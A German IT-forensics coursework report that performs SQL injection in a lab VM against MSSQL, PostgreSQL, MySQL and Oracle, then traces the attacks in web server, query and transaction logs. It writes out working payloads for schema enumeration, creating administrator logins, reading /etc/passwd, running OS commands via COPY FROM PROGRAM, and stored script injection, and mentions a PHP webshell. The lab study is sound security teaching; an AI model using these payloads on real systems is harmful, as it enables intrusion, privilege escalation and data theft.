SQL-Injection

Datenbanken II – Forensik in Datenbankmanagementsystemen Bachelor Fernstudium IT-Forensik

Inhalt Einleitung ...... 4 Zusatzbemerkung ...... 4 1.1 Vorbereitung ...... 5 1.2 Herausforderungen ...... 5 1.3 Installation und Einrichtung der VM ...... 5 1.4 SQL-Injection ...... 10 2. Teil 1 – Praktische Anwendung anhand der Bachelor-Thesis Beispiele ...... 11 2.1 Untersuchte Datenbankmanagementsysteme ...... 11 2.2 Datenbankversion auslesen ...... 11 2.2.1 MSSQL ...... 11 2.2.2 PostgreSQL ...... 12 2.3 Ausspähen von Daten ...... 12 2.3.1 MSSQL ...... 12 2.3.2 PostgreSQL ...... 14 2.4 Verändern von Daten ...... 16 2.4.1 MSSQL ...... 16 2.4.2 PostgreSQL ...... 20 2.5 Datenbankserver verändern ...... 21 2.5.1 MSSQL ...... 21 2.5.2 PostgreSQL ...... 23 2.6 Zugriff auf das Filesystem ...... 25 2.6.1 MSSQL ...... 25 2.6.2 PostgreSQL ...... 26 2.7 Einschleusen von beliebigem Code ...... 27 2.7.1 MSSQL ...... 27 2.7.2 PostgreSQL ...... 27 3. Teil 2 – Erkennen von Angriffen durch SQL-Injection ...... 29 3.1 Untersuchte Datenbankmanagementsysteme ...... 29 3.2 Datenbank einpflegen ...... 29 3.2.1 MySQL ...... 29 3.2.2 Oracle ...... 30 3.3 Frontend anpassen ...... 32 3.3.1 MySQL ...... 33 3.3.2 Oracle ...... 35 3.4 Datenbankversion auslesen ...... 36 3.4.1 MySQL ...... 36 3.4.2 Oracle ...... 36 2

3.5 Ausspähen von Daten ...... 37 3.5.1 MySQL ...... 37 3.5.2 Oracle ...... 38 3.6 Verändern von Daten ...... 40 3.6.1 MySQL ...... 40 3.6.2 Oracle ...... 41 3.7 Datenbankserver verändern ...... 42 3.7.1 MySQL ...... 42 3.7.2 Oracle ...... 43 3.8 Zugriff auf das Filesystem ...... 43 3.8.1 MySQL ...... 43 3.8.2 Oracle ...... 43 3.9 Einschleusen beliebigen Codes ...... 44 3.9.1 MySQL ...... 44 3.9.2 Oracle ...... 44 4. Erkennen und Nachvollziehen von SQL-Injection ...... 45 4.1 Webserverprotokolle ...... 45 4.2 Datenbankausführungspläne ...... 45 4.2.1 MySQL ...... 45 4.2.2 Oracle ...... 47 4.3 Transkationsprotokolle ...... 50 4.3.1 MySQL ...... 50 4.3.2 Oracle ...... 54 5. Zusammenfassung ...... 54 6. Wiki-Eintrag ...... 54 Payload ...... 54 Quellen ...... 55

Einleitung Diese Ausarbeitung befasst sich mit der praktischen Anwendung von SQL-Injections in unterschiedlichen Datenbankmanagementsystemen (DBMS). Das Vorgehen wird dokumentiert, wenn nötig erläutert und mit Screenshots gestützt. Die Ausarbeitung fokussiert sich lediglich auf die Dokumentation der Vorgehensweise wie SQL-Injections durchgeführt werden können. Basiswissen zu DBMS und Webentwicklung sind somit vorausgesetzt. Grundlage für die Ausarbeitung, bzw. Dokumentation ist die Bachelor-Thesis von Herrn Christian Hense aus August 2019. Im ersten Teil werden vorab zwei Datenbanksysteme gewählt, anhand derer die von Herrn Hense dargelegten Beispiele für SQL-Injection in Datenbanksystemen praktisch durchgeführt und entsprechend dokumentiert werden. Im zweiten Teil werden wieder zwei Datenbanksysteme (DBMS) gewählt und dort jeweils eine eigene Datenbank eingepflegt. Hieran sollen wiederum Beispiele für SQL-Injections durchgeführt und anschließend anhand der verschiedenen Artefakte nachvollzogen werden. Der gesamte Vorgang wird ebenfalls dokumentiert. Zusatzbemerkung Die Ausarbeitung orientiert sich nicht an der Vorgabe zur Verfassung wissenschaftlicher Arbeiten und ist demnach nicht als solche zu werten. Dennoch wurde nicht darauf verzichtet, neben den Screenshots Eingangs einen Satz zur Erläuterung anzugeben und/oder einige Fachbegriffe kurz zu erläutern.

1.1 Vorbereitung Um sich mit der Materie SQL-Injection bekannt zu machen, wurde folgendes Vorgehen verfolgt:

• Lesen des modulbezogenen Studienbriefs • Verfolgen der modulbezogenen Webinare • Download der Bachelor-Thesis von Herrn Christian Hense und zugehörigen Unterlagen • Download der virtuellen Maschine als Teil der Bachelor-Thesis • Prüfung der Funktionsweise der VM • Sichtung und Durcharbeiten der Bachelor-Thesis von Herrn Christian Hense zum Thema SQL-Injection • Sichten der referenzierten Literatur von Justin Clarke: SQL-Hacking und Vertiefung der Schwerpunkte im Bereich SQL-Injection • Klärung der Aufgabenstellung und Anfertigen der vorliegenden Dokumentation 1.2 Herausforderungen Im Zuge der Aufgabenstellung ergaben sich in der Vorbereitungsphase einige Hürden, z.B. konnte auch nach mehreren Anläufen die entsprechend große .vdi-Datei der virtuellen Maschine (VM) nicht heruntergeladen werden konnte – der Download brach an unterschiedlichen Stellen ab. In Abstimmung mit anderen Mitstudierenden konnte das Verhalten bestätigt werden. Nach der Kontaktaufnahme mit Frau Prof. Dr.-Ing. Antje Raab- Düsterhöft wurde zwischen der IT-Abteilung der WINGS vermittelt. Mit Hilfe des Kontakts konnte leider keine zufriedenstellende Lösung erwirkt werden. Freundlicherweise wurde die notwendige Datei von einem Kommilitonen noch einmal zur Verfügung gestellt. Bei Prüfung der Funktionsweise der VM konnte erfolgreich durchgeführt werden. In einigen wenigen Fällen war das ein oder andere Datenbankmanagementsystem nicht automatisch gestartet worden. Mit Hilfe der in der Bachelor-Thesis bereitgestellten Kommandozeilenbefehlen konnte schnell Abhilfe geleistet werden. 1.3 Installation und Einrichtung der VM Nach dem erfolgreichen Download der benötigten Datei muss diese entpackt werden.

Anzeige der benötigten Dateien Im Ordner VM findet sich die .vdi-Datei, welche in VirtualBox eingebunden wird. Hierfür kann eine bereits installierte Instanz oder die mit in den Dateien bereitgestellte portable Version von VirtualBox genutzt werden. Für die Ausarbeitung wurde auf ersteres zurückgegriffen.

Benötigte Dateien der virtuellen Maschine Nach dem Start von VirtualBox wird über die Schaltfläche Neu eine neue virtuelle Maschine angelegt. Es folgt die Vergabe eines Namens und die notwendige Angabe des Typs Linux der Version Debian 64-bit. Die Speicherzuweisung wurde auf 2 GB gesetzt.

Im Bereich Platte ist Vorhandene Festplatte verwenden auszuwählen und über das Ordner-Icon (grüner Pfeil nach oben) die zuvor heruntergeladene .vdi-Datei anzugeben.

Über Erzeugen wird die virtuelle Maschine erstellt. Im Hauptfenster von VirtualBox gilt es die zuvor erstellte virtuelle Maschine zu markieren und über den Button (grüner Pfeil nach rechts zeigend) zu starten.

Nach kurzer Wartezeit ist die virtuelle Maschine hochgefahren und zeigt folgendes Bild.

Im Bereich Projektlinks - Datenbankstatus kann ein Überblick über die im Testsystem vorhandenen Datenbankmanagementsysteme gewonnen werden.

Über Projektlinks lässt sich außerdem das ProjektWiki mit nützlichen Inhalten finden. Ebenso wichtig für die Untersuchung von SQLi und dem späteren Einbinden einer eigenen Datenbank ist der Adminer.

Aufruf des ProjektWikis

Aufruf des Adminers

1.4 SQL-Injection Eine SQL-Injection (SQLi) bezeichnet das Ausnutzen einer Sicherheitslücke unter Verwendung von SQL-Datenbanken. Hierfür werden Benutzereingaben in der Regel auf zur Verfügung gestellten Webapplikationen so manipuliert, dass Teile der in ein reguläres Eingabefeld eingetragenen Daten als SQL-Anweisung interpretiert wird. Somit hat der Angreifer im schlimmsten Fall Zugriff auf das Betriebssystem des SQL-Servers. Ziele von SQLi sind in der Regel das Ausspähen von Daten, das Verändern von Daten, die Veränderung des Datenbank-Servers, die Änderungen am Filesystem und das Einschleusen von beliebigem Code.

2. Teil 1 – Praktische Anwendung anhand der Bachelor-Thesis Beispiele 2.1 Untersuchte Datenbankmanagementsysteme Die folgenden DBMS werden i.V.m. den genannten Zielen von SQLi überprüft:

• MSSQL • PostgreSQL Die Einsprungadresse für das jeweilige DBMS wurde teilweise von n=Sokrates auf n=0 angepasst, um die Ergebnisse des Ursprungswertes (Sokrates) auszublenden. 2.2 Datenbankversion auslesen Bevor mit dem Angriff via SQLi begonnen wird, sollte die vorliegende Datenbankversion geprüft werden. 2.2.1 MSSQL Zunächst wird die vorliegende Einsprungadresse für das entsprechende Datenbanksystem (hier MSSQL) aufgerufen, welche im Projekt-Wiki der VM einzusehen ist (siehe Bachelor- Thesis Christian Hense).

Aufruf der Einsprungadresse MSSQL Es lässt sich anhand der Syntax in der URL erkennen, dass die erste und die letzte Spalte der Datenbanktabelle einen numerischen Wert zulässt, die beiden inneren Spalten jeweils einen string. Somit wird die Abfrage in der URL so manipuliert, dass in der zweiten Spalte über einen SELECT-Befehl die Datenbankversion ausgegeben werden kann. UNION SELECT 1, (SELECT @@version),‘1‘,1;-- .‘

Ausgabe der Datenbankversion MSSQL An diesem Punkt ist das DBMS identifiziert und der Angreifer kann abhängig von der vorliegenden Version mögliche Angriffsziele (über vorhandene Exploits) ermitteln.

2.2.2 PostgreSQL SELECT version(); -- ‘

Auslesen der Datenbankversion PostgreSQL 2.3 Ausspähen von Daten Eines der Ziele von SQL-Injections ist das Ausspähen von Daten. Um sich langsam den Inhalten der Tabellen zu nähern, werden die Datenbanken aufgelistet, die zugehörigen Tabellennamen angezeigt und die Anzeige um die benötigten Spaltennamen erweitert. 2.3.1 MSSQL 1. SELECT name FROM master..sysdatabases;

Die Datenbanken des DBMS werden sichtbar und in der zweiten Spalte gelistet. Geht hier wieder nur in den inneren beiden Spalten, da der Rückgabewert ein string ist! 2. SELECT name FROM kemper..sysobjects WHERE xtype = 'U';

Mit Hilfe des Befehls werden alle Tabellen der Datenbank kemper gelistet 12

3. SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysojects.id=syscolumns.id WHERE sysobjects.xtype= 'U';

Der o.g. Befehl erweitert die Anzeige der ausgelesenen Tabellen der Datenbank kemper um dessen Spaltennamen. So lässt sich z.B. die Anzahl der Spalten der Tabelle assistenten erkennen (4). 4. SELECT PersNr, Name, Fachgebiet, Boss FROM kemper..assistenten;

Mit dem Befehl werden nun zu den zuvor ausgewerteten Tabellennamen der Tabelle assistenten die Objekte aus den Spalten zeilenweise ausgegeben.

2.3.2 PostgreSQL 1. SELECT datname FROM pg_database;

Auslesen der Datenbanken in PostgreSQL 2. SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‚r‘, ‘‘) AND n.nspname NOT IN (‘pg_catalog‘, ‘pg_toast‘) AND pg_catalog.pg_table_is_visible(c.oid);

Ausgabe der vorhandenen Datenbanktabellen

3. SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_typ T WHERE (C.relkind=‘r‘) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public‘);

Ausgabe aller Datenbanktabellen und Spaltennamen der Tabelle 4. SELECT PersNr, Name, Fachgebiet, Boss FROM assistenten;

Es kommt zu einem Fehler, da die letzte Spalte (raum) Werte vom Typen varchar erwartet, doch die auszulesenden Werte aus der Spalte Boss von Tabelle assistenten beinhaltet integer-Werte! In allen anderen installierten Datenbankmanagementsystemen ist der erwartete Wert für die Zellen der Spalte raum ein integer. Mit Hilfe des Befehls ALTER TABLE professoren ALTER COLUMN raum TYPE integer USING (raum::integer); wurde der Typ der Spalte raum (über das Tool Adminer) in der PostgreSQL- Datenbank angepasst.

Ausgabe der Tabelle assistenten mit allen entsprechenden Spalten nach Anpassung Typ der Spalte raum aus professoren auf int, da Typ der Spalte Boss int-Werte beinhaltet. 2.4 Verändern von Daten Beim Verändern von Daten sind die Inhalte der Datenbanken betroffen, die der Angreifer im Zuge einer SQLi manipuliert. 2.4.1 MSSQL 1. CREATE DATABASE hack;

Erstellen einer neuen Datenbank hack

Auflisten aller Datenbanken im DBMS - neu angelegte DB wird angezeigt

2. CREATE TABLE [hack].[dbo].[user] ([id] int NOT NULL);

Hierdurch wird eine Tabelle user in der Datenbank hack angelegt.

Datenbanktabellen der Datenbank hack 3. INSERT INTO [hack].[dbo].[user] ([id] int NOT NULL);

Anzeigen aller Tabellennamen in der Datenbank hack (irrelevant, da die Tabelle mit Spalten vorher selbst angelegt wurde)

Anzeige der Tabelle user mit dem zuvor eingepflegten Objekt mit der ID 1

UPDATE [hack].[dbo].[user] SET [id] = ‘2‘ WHERE [id] LIKE ‘1‘;

Setzen aller Werte auf 2, die vorher 1 waren in der Spalte id

Werte der Spalte id aus der Tabelle user der Datenbank hack wurden geändert DELETE FROM [hack].[dbo].[user] WHERE [id] LIKE ‘2‘;

Ausführen der Anweisung zum Löschen aller Einträge in der Spalte id der Tabelle user mit Wert 2

Keine Ausgabe mehr vorhanden, da die Tabelle user mit der Spalte id leer!

4. DROP TABLE [hack].[dbo].[user];

Löschen der Tabelle user in Datenbank hack

Erneuter Aufruf aller Tabellen in Datenbank hack – ohne Ergebnis, somit Tabelle gelöscht. 5. DROP DATABASE [hack];

Löschen der Datenbank hack

Anzeige aller Datenbanken im DBMS – Datenbank gelöscht!

2.4.2 PostgreSQL CREATE DATABASE hack;

Anlegen einer neuen Datenbank hack führt zur Fehlermeldung Auch das Anlegen von Tabellen in einer bestehenden Datenbank führt zu einer Fehlermeldung:

Dies zeigt, dass weder Multiquery noch Cross-Database-References erlaubt, bzw. implementiert ist. Eine Möglichkeit dennoch eine neue Datenbank anzulegen ist das Einschleusen von Befehlen in eine bestehende Datenbank(tabelle). DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); COPY tmp FROM PROGRAM 'psql -c "CREATE DATABASE hack"'; SELECT * FROM tmp;

Datenbank wird erstellt über das Einschleusen von Code durch Aufruf von psql -c (Ausführen eines SQL-Kommandos über das CLI (Command Line Interface) von PostgreSQL) in der Spalte der Tabelle tmp.

Ausgabe aller Datenbanken im DBMS – hack wurde über das Einschleusen des SQL-Befehls in einer existierenden Tabelle ausgeführt 2.5 Datenbankserver verändern Beim Angriff auf den Datenbankserver selbst ist vor allem die Benutzerverwaltung ein Ziel, um sich erweiterte Rechte auf dem DBMS zu verschaffen 2.5.1 MSSQL 1. CREATE LOGIN u WITH PASSWORD = ‘pP1234567890‘; EXEC sp_addsrvrolemember @loginname=N’u‘, @rolename=N’sysadmin‘;

Benutzererstellung mit Passwort

Setzen von Benutzerrechten für den neu angelegten Benutzer u

Aufruf der systemweiten Benutzer auf dem DBMS 2. DROP login u; SELECT name FROM master..syslogins;

Angelegten Benutzer u löschen

Gelöschter Benutzer u nicht mehr sichtbar 2.5.2 PostgreSQL 1. CREATE ROLE u WITH SUPERUSER; ALTER ROLE u WITH LOGIN; ALTER ROLE u WITH PASSWORD ‘p‘;

Anlegen eines Benutzers u mit entsprechenden Rechten

Anzeige der Benutzer im DBMS – neuer Benutzer u sichtbar 2. DROP USER u; SELECT usename, usecreatedb, usesuper FROM pg_user;

Löschen des zuvor angelegten Benutzers u

Anzeige der Benutzer im DBMS

2.6 Zugriff auf das Filesystem Erlangt der Angreifer Zugriff auf das Filesystem kann er eigenen Code auf dem Systemserver oder sogar auf den Clients ausführen. 2.6.1 MSSQL In MSSQL ist der Lesezugriff nur über Hilfstabellen möglich. Der Schreibzugriff ist nur über Systemtools oder xp_cmdshell möglich, welches nicht unter Linux unterstützt wird. CREATE TABLE mydata (line varchar(8000));

BULK INSERT mydata FROM ‘/etc/passwd‘;

SELECT * FROM mydata;

Anzeige der Daten aus der Spalte line der zuvor angelegten Tabelle mydata DROP TABLE [mydata];

Löschen der Tabelle mydata

Auslesen aller Tabellen und Spaltennamen – keine Tabelle mydata zu finden Der Schreibzugriff konnte nicht getestet werden, da das Testsystem auf Linux basiert und keine xp_cmdshell unterstützt. 2.6.2 PostgreSQL 1. CREATE TABLE mydata (t text); COPY mydata FROM ‘/etc/passwd‘;

Anlegen einer neuen Tabelle mydata mit den Daten aus der angegebenen Datei

2. SELECT * FROM mydata;

Auflisten des Inhalts der Tabelle mydata 2.7 Einschleusen von beliebigem Code Beim Einschleusen von Fremdcode muss differenziert werden zwischen

• Ausführung des Codes auf dem System des DBMS • Ausführung des Codes auf dem System der Applikation • Ausführung des Codes auf dem aufrufenden Client 2.7.1 MSSQL Im Testsystem besteht aufgrund der nicht implementierten xp_cmdshell unter Linux keine Möglichkeit zum Einschleusen von Code in die MSSQL-Datenbank. 2.7.2 PostgreSQL Das Beispiel ist ähnlich dem geschilderten Fall „Verändern von Daten“. 1. DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); COPY tmp FROM PROGRAM ‚ps -ef‘; SELECT * FROM tmp;

Ausführen eines Kommandos durch Einschleusen in eine Datenbanktabelle

2. INSERT INTO “professoren“ (‘name‘, ‘rang‘) VALUES (‘S‘,‘; 27

Einschleusen eines Skriptbefehls in die Datenbanktabelle professoren

Hiermit wurde der Code in eine Tabelle eingefügt, die vom Client aufgerufen wurde. Der „Schadcode“ wurde im Browser des Clients ausgeführt.

3. Teil 2 – Erkennen von Angriffen durch SQL-Injection Im zweiten Teil der Ausarbeitung soll das Augenmerk auf die Zurückführung, bzw. auf das Erkennen von SQL-Injections gelegt werden. Außerdem soll vorab eine neue Datenbank angelegt und die SQLi hiermit ausgeführt werden. Hierfür wurde die Datenbank bike aus dem Lehrbuch von Edwin Schicker genutzt und importiert. Die SQL-Statements werden hier nicht mehr gesondert angeführt und sind dennoch in den Screenshot ersichtlich.

Datenbanbankmodell der Datenbank bike 3.1 Untersuchte Datenbankmanagementsysteme Anhand der folgenden DBMS werden SQLi durchgeführt und anschließend analysiert:

• MySQL • Oracle 3.2 Datenbank einpflegen 3.2.1 MySQL Nach dem Download der .sql-Datei (http://bike.oth-regensburg.de/Downloads.html#sql) wird der Adminer aufgerufen, ein Login im MySQL-Datenbanksystem vorgenommen und eine neue Datenbank bike erstellt. Anschließend kann über Importieren die .sql-Datei importiert werden oder die in der SQL-Datei enthaltenen DDL-Anweisungen über SQL-Kommando ausgeführt werden.

Datenbankerstellung nach Login im MySQL-Datenbanksystem

Aufruf des Adminers und Import der .sql-Datei 3.2.2 Oracle Beim Erstellen einer Datenbank nach Anmeldung im Oracle-Datenbanksystem kommt es zu einem Fehler.

Das Konzept USER/DATENBANK/SCHEMA/TABELLE unterscheidet sich grundlegend von dem anderer DBS. Auch ein Anlegen über die sqlplus im Oracle-Docker führt entsprechend zum Fehler.

Damit dennoch mit den Datenbanktabellen der bike-Datenbank gearbeitet werden kann, wurden diese in die bestehende Datenbank USERS eingebunden. Hierzu wurden über DDL- Kommandos die Datenbanktabellen samt Inhalten angelegt.

DDL-Anweisungen für das Anlegen der Datenbanktabellen

Tabellen der Datenbank bike 3.3 Frontend anpassen Die ursprünglichen Einsprungadressen für das Ausführen von SQLi verweisen im Testsystem auf die kemper-Datenbank der jeweiligen DBMS. Um diese nun auf die neu eingefügte Datenbank zeigen zu lassen, müssen in den Dateien des Frontends einige kleine Anpassungen vorgenommen werden.

• /var/www/html/victim/db_vars0.php • /var/www/html/victim/db_funktionen.php • /var/www/html/victim/test_sqli_oracle.php, bzw. • /var/www/html/victim/test_sqli_mysql.php

3.3.1 MySQL

Anpassung der db_vars0.php in /var/www/html/victim/ In den nächsten Dateien muss die Referenztabelle angepasst werden. Hierfür wird eine gewünschte Tabelle aus der Datenbank bike gewählt (hier Kunde).

Anpassung der db_funktionen.php in /var/www/html/victim/

Nun wird noch die Webseite der Einsprungadresse angepasst, so dass die Ursprungsanfrage auf eine gültige DML-Abfrage angesprochen wird. Hier wird die Spalte aus professoren der kemper-Datenbank auf die Spalte Name der Tabelle Kunde der bike- Datenbank angepasst.

Anpassen der SELECT-Abfrage der Einsprungadresse in der test_sqli_mysql.php in /var/www/html/victim/

Zuletzt muss die Einsprungadresse auf die entsprechende Spaltenanzahl angepasst werden. Die Spaltenanzahl der Tabelle Reservierung in der Datenbank bike enthält drei Spalten, die Tabelle professoren der Datenbank kemper der vorherigen Einsprungadresse sechs Spalten. http://www.victim.com/test_sqli_mysql.php?n=Sokrates' UNION SELECT 1,1,1,1,1 -- .

Neue Einsprungadresse nach Anpassung der Datenbanktabelle, die vom Frontend aufgerufen wird 3.3.2 Oracle Die Einsprungadresse für die Oracle-Datenbank muss nur geringfügig angepasst werden, da die bestehende Datenbank USERS hierfür weiter genutzt wird.

Anpassung der db_funktionen.php in /var/www/html/victim/

Anpassung der test_sqli_oracle.php in /var/www/html/victim/ http://www.victim.com/test_sqli_oracle.php?n=0' UNION SELECT 1,'1','1',1,'1','1' FROM dual -- . 3.4 Datenbankversion auslesen 3.4.1 MySQL

Auslesen der Datenbankversion MySQL 3.4.2 Oracle

Auslesen der Datenbankversion Oracle

3.5 Ausspähen von Daten 3.5.1 MySQL

Auslesen der Datenbanken im DBMS

Auslesen aller Tabellen der Datenbank bike

Auslesen der Tabellenspalten aller Tabellen der Datenbank bike

Auslesen der Tabelle Kunden und dessen sensible Daten 3.5.2 Oracle

Anzeige der Datenbanken im DBMS

Anzeige aller Datenbanktabellen in Datenbankschema DBUSER

Anzeige aller Datenbanktabellen und dessen Inhalte

Auslesen der Tabelle Artikel und dessen sensible Daten 3.6 Verändern von Daten 3.6.1 MySQL Für das Verändern von Daten auf der der MySQL-Datenbank muss die vom Testsystem vorliegende Einsprungadresse (127.0.0.1/html/test/12_MULTIQUERY.php) genutzt werden, damit Multiquery-Abfragen ausgeführt werden können. Zum Auslesen kann dann wieder die für diesen Aufgabenteil angepasste Einsprungadresse genutzt werden, da beide Frontends auf dieselbe Datenbank referenzieren.

Anlegen der Datenbank über die Multiquery-Abfrage

Auslesen der Datenbanken im DBMS

Löschen der Datenbank

Anzeige der Datenbanken nach Löschen der Datenbank 3.6.2 Oracle Bei der Anwendung von SQLi über Webanwendungen stellt Oracle eine besondere Herausforderung dar. Um Multiqueries in Oracle nutzbar zu machen, muss die Ausführung von PL/SQL-Block erreicht werden. Die Literatur von Clarke – SQL Hacking konnte eine Vorgabe machen, welche aber in der Praxis, bzw. in der Umgebung der virtuellen Maschine nicht anzuwenden war. Somit konnten wie bei den anderen gezeigten DBMS keine Veränderung an den Daten vorgenommen werden (Anlegen von Benutzern, Tabellen).

3.7 Datenbankserver verändern 3.7.1 MySQL

Anzeige der Benutzer im DBMS

Erstellen eines neuen Benutzers u durch direkten Eintrag in die Tabelle mysql.user

Anzeige der Benutzer nach Anlage im DBMS

Löschen des zuvor angelegten Benutzers

Anzeige der Benutzer nach Löschen des Benutzers im DBMS 3.7.2 Oracle Wie beim Verändern von Daten ließ die Oracle-Umgebung in der VM kein Anlegen neuer Benutzer zu. 3.8 Zugriff auf das Filesystem 3.8.1 MySQL

Schreibzugriff auf /var/lib/mysql/test.txt

Lesezugriff auf die zuvor geschriebene Datei und Anzeigen in der Tabelle via SQLi 3.8.2 Oracle Von der OracleDB werden nativ keine Dateizugriffe unterstützt. Eine Demonstration etwaiger externer Funktionen über Java können im Rahmen der Ausarbeitung i.V.m. dem Testsystem nicht realisiert werden.

3.9 Einschleusen beliebigen Codes 3.9.1 MySQL

Schreiben einer minimalistischen PHP-Webshell ins Filesystem

Absetzen von Systembefehlen über die einschleuste Webshell (Bsp.: Anzeige der Netzwerkadapter) 3.9.2 Oracle Oracle bietet keine Möglichkeit via SQL Systembefehle auszuführen oder in das Filesystem zu schreiben. Sofern Tabelleninhalte über SQLi beeinflussbar sind, können auch Skripte auf dem aufrufenden Client bei Aufruf der Tabellen ausgeführt werden (siehe Teil 1).

4. Erkennen und Nachvollziehen von SQL-Injection Um einen unbefugten Datenbankzugriff und etwaige Veränderungen an der Datenbank festzustellen werden in dieser Ausarbeitung folgende Quellen vorgestellt:

• Webserver-Logs • Datenbankausführungspläne • Transaktionsprotokolle Diese sog. Artefakte sind nur wenige von Dutzenden Datenbankartefakten. 4.1 Webserverprotokolle In den Webserverprotokollen werden Informationen über legitime und böswillige Zugriffsversuche protokolliert. Im Testsystem befinden sich die log-Dateien des installierten Apache-Servers unter /var/logs/Apache2/. Für die Auswertung dienen die logs other_vhosts_access.log.

Auswertung, wann über SQLi die Datenbankversion ausgelesen wurde Jeder Zugriff auf das Frontend wird somit protokolliert und kann für alle o.g. Beispiele nachvollzogen werden. 4.2 Datenbankausführungspläne Die Ausführungspläne sind datenbankspezifisch und lassen sich wie folgt herausarbeiten. 4.2.1 MySQL In MySQL gibt es ein allgemeines Abfrageprotokoll, welches diese in einem lesbaren Format vorhält und relativ einfach auszuwerten ist. Das Protokoll wurde in der Testumgebung bereits aktiviert und musste somit nicht manuell aktiviert werden. show variables like “%general_log%“ zeigt, ob das log für die Ausführungspläne in MySQL aktiviert ist und wo es zu finden ist. Dieser lässt sich bspw. im Adminer ausführen.

Anzeige über Status des log-files und Ablageort

Die Dateien sind aufgrund der von Herrn Hense vorgenommenen Einstellungen zur Nutzung des Testsystems unter /var/www/docker/mysql/ zu finden. Diese und weitere benötigte Dateien können über einen Kommandozeilenbefehl aus der Docker-Umgebung entführt werden. docker cp mysql-server:/var/lib/mysql/mysql_querylog /var/www

Kopieren des mysql-logs aus dem Docker in ein lokales Verzeichnis der VM

Auswertung des mysql-logs mit Hinweis auf Datenbankzugriffe mit Zeitstempel (Erstellen der Datenbank hack)

4.2.2 Oracle In Oracle gibt es eine Sicht gv$sql, die Ausführungspläne enthält. Das Ausführen des Befehls in Adminer select sql_text from gv$sql; führt aufgrund von nicht ausreichenden Rechten des Benutzers DBUSER zu einem Fehler.

Es muss sich also mit dem Benutzer system im Adminer an der Datenbank angemeldet werden. Damit die Daten aber besser lesbar ausgewertet werden können ist der Weg über sqlplus eine gute Alternative. Zuerst wird ein Terminalfenster gestartet und ein Zugriff auf das Gastsystem von Oracle im Docker sichergestellt. Anschließend wird das Kommandotool sqlplus mit entsprechenden Rechten ausgeführt.

Nun wird sichergestellt, dass die Ausgabe folgender SQL-Befehle in eine Datei geschrieben werden. Anschließend wird der benötigte Befehl ausgeführt, der im Adminer unter dem Benutzer DBUSER zu einem Fehler führte.

Abschließend muss die angelegte .log-Datei aus dem Verzeichnis des Dockers in ein lokales Verzeichnis in der Testumgebung kopiert werden.

Nun kann die Log-Datei ausgewertet werden.

Abfrage der SQLi zum Herausfinden der Datenbankversion wurde in der Sicht gv$sql abgelegt

4.3 Transkationsprotokolle 4.3.1 MySQL Zunächst muss geprüft werden, ob die Transkaktionsprotokolle aktiviert sind über den Befehl select variable_value as "BINARY LOGGING STATUS (log-bin) :: " from information_schema.global_variables where variable_name='log_bin';

Statusanzeige nach Ausführen des Befehls Das Logging muss somit aktiviert werden. Dies lässt sich über die Konfigurationsdatei (config-file.cnf) von mysql steuern, welche sich unter /var/www/docker/mysql/config versteckt. Im Screenshot wird ersichtlich, wie die Datei anzupassen ist.

Anpassen der config-Datei

Anschließend sollte der MySQL-Server neugestartet werden.

Neustart MySQL über Docker-Befehl Nun kann der Status des Loggings erneut geprüft werden.

Logging nun aktiv!

Die log-Dateien befinden sich unter /var/lib/mysql und werden in MySQL als Binärdateien geführt. Sie sind somit nicht für den Menschen lesbar, weshalb diese vorab konvertiert werden müssen. Da die MySQL-Werkzeuge nur im Docker vorliegen, muss wieder über die Kommandozeile im Docker gearbeitet werden.

Aufruf der Shell im MySQL Docker und Konvertieren der binary-Dateien in ein lesbares Format

Auffinden des Anlegens und Löschen der Datenbank hack im Transaktionsprotokoll

4.3.2 Oracle In Oracle ist das Transaktionsprotokoll aktiviert und lässt sich auch nicht deaktivieren. Über den Befehl select * from v$logfile; lässt sich anzeigen, wo die log-Dateien abgelegt sind.

Diese lassen sich allerdings nur über die Oracle-CLI sqlplus auswerten oder über das Oracle-Programm logminer, auf welches aufgrund der Docker-Architektur nicht zurückgegriffen werden konnte. 5. Zusammenfassung Im ersten sowie im zweiten Teil der Ausarbeitung konnte nunmehr an vielen Beispiel auf die Möglichkeiten und Gefahr von SQL-Injections hingewiesen werden. Dabei ist kein Datenbankmanagementsystem unbedingt sicherer gegenüber seinen Konkurrenten. Es liegt in der Verantwortung des Entwicklers, bzw. Datenbankadministrators seine Betriebsumgebung entsprechend abzusichern. 6. Wiki-Eintrag Payload Als Payload (Nutzlast) wird der Teil eines zu übertragenden Datenpakets bezeichnet, der den eigentlichen Inhalt einer Nachricht enthält. Er folgt auf den Header eines Datenpakets; je nach Netzwerkprotokoll folgt ein Trailer. Im Bereich der Computerforensik ist der Payload meist ein schädlicher Teil einer Anfrage, bzw. eines Codes, der auf dem Zielsystem ausgeführt werden soll. Im Zusammenhang mit SQL-Injections, also das Ausnutzen einer Sicherheitslücke unter Verwendung von SQL-Datenbanken, werden die eigentlichen (vorgesehenen) Eingabedaten genutzt, um mit Hilfe von weiteren SQL-Befehlen einen Exploit einzuleiten. Die Payload ist der Teil der (SQL-) Anfrage, der das Datenbankmanagementsystem zu einer entsprechenden Aktion (Verändern von Daten, Verändern des Datenbankservers, Verändern des Datenbankmangementsystems, Einschleusen von Code) bringen soll.

Quellen https://www.acunetix.com/wp-content/uploads/2019/02/SQL-Injection-910x554.jpg Bachelor-Thesis von Christian Hense, August 2019 Erwin Schicker: Datenbanken und SQL. Eine praxisorientierte Einführung mit Anwendungen in Oracle, MSSQLServer und MySQL. Springer Vieweg Heidelberg, 5. Auflage, 2017 (eBook) http://bike.oth-regensburg.de/Bike.html https://www.acunetix.com/websitesecurity/sql-injection/ https://www.computerweekly.com/de/definition/Payload https://www.speedcheck.org/de/wiki/payload/#fn1 https://searchsecurity.techtarget.com/definition/payload https://techjourney.net/how-to-read-mysql-binary-log-files-binlog-with-mysqlbinlog/ https://jaxenter.de/einfuehrung-docker-tutorial-container-61528 https://stackoverflow.com/questions/22049212/copying-files-from-docker-container-to-host https://chartio.com/resources/tutorials/how-to-write-to-a-csv-file-using-oracle-sql-plus/ https://jinyuwang.weebly.com/for-mysql/how-to-enable-binary-logging-for-mysql 